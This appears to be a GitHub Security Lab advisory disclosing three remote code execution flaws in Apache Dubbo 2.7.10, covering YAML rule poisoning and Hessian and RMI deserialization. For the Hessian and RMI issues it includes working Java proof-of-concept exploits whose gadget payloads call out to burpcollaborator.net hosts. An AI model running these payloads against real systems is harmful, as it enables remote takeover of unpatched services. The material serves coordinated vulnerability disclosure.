skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
August 30, 2021

GHSL-2021-094: Multiple RCEs in Apache Dubbo - CVE-2021-36162, CVE-2021-36163

Alvaro Munoz

Coordinated Disclosure Timeline

Summary

Multiple vulnerabilities have been found in Apache Dubbo enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers.

Product

Apache Dubbo

Tested Version

Dubbo v2.7.10

Details

Issue 1: RCE on customers via Tag route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-094)

Apache Dubbo recently added support for Mesh App rules which enables a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.

When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors:

    public void receiveConfigInfo(String configInfo) {
        ...
        try {

            VsDestinationGroup vsDestinationGroup = new VsDestinationGroup();
            vsDestinationGroup.setAppName(appName);

            Yaml yaml = new Yaml();
            Yaml yaml2 = new Yaml();
            Iterable<Object> objectIterable = yaml.loadAll(configInfo);
            for (Object result : objectIterable) {
              ...
            }
            vsDestinationGroupHolder = vsDestinationGroup;
        } catch (Exception e) {
            logger.error("[MeshAppRule] parse failed: " + configInfo, e);
        }
        ...
    }

An attacker with access to the configuration center (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a tag rule file so when retrieved by the consumers, it will get RCE on all of them.

Impact

This issue may lead to pre-auth RCE

Issue 2: Unsafe deserialization in providers using the Hessian protocol (GHSL-2021-095)

Users may choose to use the Hessian protocol. The Hessian protocol is implemented on top of HTTP and passes the body of a POST request directly to a HessianSkeleton:

  try {
      skeleton.invoke(request.getInputStream(), response.getOutputStream());
  } catch (Throwable e) {
      throw new ServletException(e);
  }

New HessianSkeleton are created without any configuration of the serialization factory and therefore without applying the dubbo properties for applying allowed or blocked type lists.

In addition, the generic service is always exposed and therefore attackers do not need to figure out a valid service/method name pair.

PoC

package org.pwntester.dubbo;

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import marshalsec.Java;
import marshalsec.gadgets.SpringUtil;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.springframework.beans.factory.BeanFactory;

import java.io.ByteArrayOutputStream;

public class HessianProtocol {

    protected static final String JNDI_URL = "ldap://0ij4o8i8ri8pznf12mh0s0nbu20soh.burpcollaborator.net/foo";

    public static Object generate_spring_payload() throws Exception {
        BeanFactory bf = SpringUtil.makeJNDITrigger(JNDI_URL);
        return SpringUtil.makeBeanFactoryTriggerBFPA(new Java(), JNDI_URL, bf);
    }

    public static void main(String[] args) throws Exception {

        // write header into OS
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] header = new byte[3];
        header[0] = (byte)72;
        header[1] = (byte)1;
        header[2] = (byte)1;
        baos.write(header);

        byte[] tag = new byte[1];
        tag[0] = 67; // C: call
        baos.write(tag);

        Hessian2Output out = new Hessian2Output(baos);
        SerializerFactory factory = out.getSerializerFactory();
        factory.setAllowNonSerializable(true);
        out.setSerializerFactory(factory);
        out.writeString("$invoke");
        out.writeInt(3);
        out.writeObject("foo");
        out.writeObject(new String[]{"foo"});
        out.writeObject(new Object[]{generate_spring_payload()});
        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        CloseableHttpClient client = HttpClients.createDefault();
        HttpPost post = new HttpPost("http://localhost:8080/org.apache.dubbo.samples.basic.api.DemoService/generic");
        post.setHeader("Content-Type", "application/octet-stream");
        post.setEntity(new ByteArrayEntity(baos.toByteArray()));
        HttpResponse response = client.execute(post);
    }
}

Impact

This issue may lead to pre-auth RCE

Issue 3: Unsafe deserialization in providers using the RMI protocol (GHSL-2021-096)

Users may choose to use the RMI protocol. The RMI protocol is implemented on top of Spring’s RmiServiceExporter and uses Java RMI under the hood. RMI uses java native serialization to serialize the arguments of the RMI calls. In addition, the generic service is always exposed since both methods exposed by this service accept a broad java.lang.Object argument, an attacker will be able to send any arbitrary type and achieve RCE.

PoC

package org.pwntester.dubbo;

import org.apache.dubbo.rpc.service.GenericService;
import org.pwntester.dubbo.utils.Gadgets;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.rmi.RmiProxyFactoryBean;

@Configuration
public class RMIProtocol {

    protected static final String ATTACKER_HOST = "http://vvuz13v34dlkciswfhuv5v067xdo1d.burpcollaborator.net";

    @Bean
    RmiProxyFactoryBean service() {
        RmiProxyFactoryBean rmiProxyFactory = new RmiProxyFactoryBean();
        rmiProxyFactory.setServiceUrl("rmi://localhost:1099/org.apache.dubbo.samples.org.apache.dubbo.basic.samples.basic.api.DemoService/generic");
        rmiProxyFactory.setServiceInterface(GenericService.class);
        return rmiProxyFactory;
    }

    public static void main(String args[]) throws Exception {
        AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(RMIProtocol.class);
        GenericService service = context.getBean(GenericService.class);
        Object res = service.$invoke("foo", new String[]{""}, new Object[]{Gadgets.generate_urldns_payload(ATTACKER_HOST)});
        System.out.println(res);
    }
}

Impact

This issue may lead to pre-auth RCE

CVE

Credit

These issues were discovered and reported by GHSL team member @pwntester(Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-{094,095,096} in any communication regarding this issue.